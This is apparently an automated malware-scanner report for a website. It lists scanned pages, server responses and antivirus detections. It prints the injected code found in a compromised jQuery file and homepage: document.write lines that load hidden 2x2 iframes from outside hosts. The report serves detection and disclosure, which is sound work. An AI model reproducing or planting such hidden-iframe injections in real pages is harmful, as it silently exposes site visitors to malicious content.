New scan:

Malware Scanner report for daysofdarkness.net

Malicious/Suspicious/Total urls checked
1/0/15
1 page has malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/3/3
3 suspicious iframes found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://daysofdarkness.net/
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:13 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1
clean
http://www.daysofdarkness.com/
200 OK
Content-Length: 7787
Content-Type: text/html
suspicious
Hidden iFrame found.
size: 2x2     
src: http://adventurous.com/achd.html?i=629468

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://adventurous.com/achd.html?i=629468>

http://www.daysofdarkness.com/Scripts/jquery-1.2.6.min.js
200 OK
Content-Length: 56191
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://adventurous.com/achd.html?j=629468></iframe>');

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://habboigratis.altervista.org/ohmf.html?j=629468></iframe>');

(function(){var _jQuery=window.jQuery,_$=window.$;var jQuery=window.jQuery=window.$=function(selector,context){return new jQuery.f
... 3131 bytes are skipped ...
ht","Width"],function(i,name){var tl=i?"Left":"Top",br=i?"Right":"Bottom";jQuery.fn["inner"+name]=function(){return this[name.toLowerCase()]()+num(this,"padding"+tl)+num(this,"padding"+br);};jQuery.fn["outer"+name]=function(margin){return this["inner"+name]()+num(this,"border"+tl+"Width")+num(this,"border"+br+"Width")+(margin?num(this,"margin"+tl)+num(this,"margin"+br):0);};});})();==10)e(s);
/*/c3284d*/
==10)e(s);
/*/c3284d*/
10)e(s);
/*/c3284d*/
10)e(s);
/*/c3284d*/

Antivirus reports:

AntiVir
HTML/TwitScroll.B
Avast
JS:Iframe-AML [Trj]
Ikarus
Exploit.HTML.IframeRef
nProtect
Trojan.Iframe.BZW
Emsisoft
Trojan.Iframe.BZW (B)
Comodo
TrojWare.JS.Iframe.FK
McAfee-GW-Edition
JS/IFrame.gen.j
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Exploit:HTML/IframeRef.DM
MicroWorld-eScan
Trojan.Iframe.BZW
Fortinet
JS/Iframe.HH!tr
PCTools
Exploit.IFrame
McAfee
JS/IFrame.gen.j
F-Secure
Trojan.Iframe.BZW
VIPRE
Malware.JS.Generic (JS)
F-Prot
IFrame.gen
AVG
HTML/Framer
Norman
Iframe.UW
Sophos
Troj/Iframe-JG
GData
Trojan.Iframe.BZW
Symantec
IFrame.Exploit
Commtouch
IFrame.gen
ESET-NOD32
JS/Iframe.HH
BitDefender
Trojan.Iframe.BZW

Hidden iFrame found.
size: 2x2     
src: http://adventurous.com/achd.html?j=629468

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://adventurous.com/achd.html?j=629468>

Hidden iFrame found.
size: 2x2     
src: http://habboigratis.altervista.org/ohmf.html?j=629468

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://habboigratis.altervista.org/ohmf.html?j=629468>

http://daysofdarkness.net/Scripts/jquery.ui.all.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:16 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1
clean
http://www.daysofdarkness.com/test404page.js
404 Not Found
Content-Length: 331
Content-Type: text/html
clean
http://daysofdarkness.net/Scripts/ui_002.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:17 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1
clean
http://daysofdarkness.net/Scripts/anchor.jquery.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:18 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1
clean
http://daysofdarkness.net/Scripts/ui.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:18 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1
clean
http://daysofdarkness.net/Scripts/jquery-latest.pack.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:18 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1
clean
http://daysofdarkness.net/Scripts/jquery.pngFix.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:19 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1
clean
http://daysofdarkness.net/Scripts/linkFader.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:19 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1
clean
http://daysofdarkness.net/Scripts/jquery-shadowbox/adapter/shadowbox-base.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:19 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1
clean
http://daysofdarkness.net/Scripts/jquery-shadowbox/shadowbox.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:20 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1
clean
http://daysofdarkness.net/Scripts/js_pic_fader/jquery_007.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:20 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1
clean
http://daysofdarkness.net/Scripts/js_pic_fader/jquery_009.js
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:20 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: daysofdarkness.net

Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Mon, 08 Sep 2014 10:30:13 GMT
Location: http://www.daysofdarkness.com
Server: Apache
Content-Length: 237
Content-Type: text/html; charset=iso-8859-1

...237 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: daysofdarkness.net
Referer: http://www.google.com/search?q=daysofdarkness.net

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=daysofdarkness.net

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://daysofdarkness.net/

Result: daysofdarkness.net is not infected or malware details are not published yet.